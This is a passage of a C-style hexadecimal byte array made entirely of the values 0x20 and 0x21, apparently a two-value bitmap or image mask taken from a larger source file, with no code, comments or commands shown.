    0x21, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20,
    0x21, 0x21, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x20, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x21, 0x20, 0x21, 0x21, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x21, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x20, 0x21,
    0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x21, 0x20, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x20, 0x20, 0x20,
    0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21, 0x21,
    0x21, 0x20, 0x21, 0x21, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
    0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
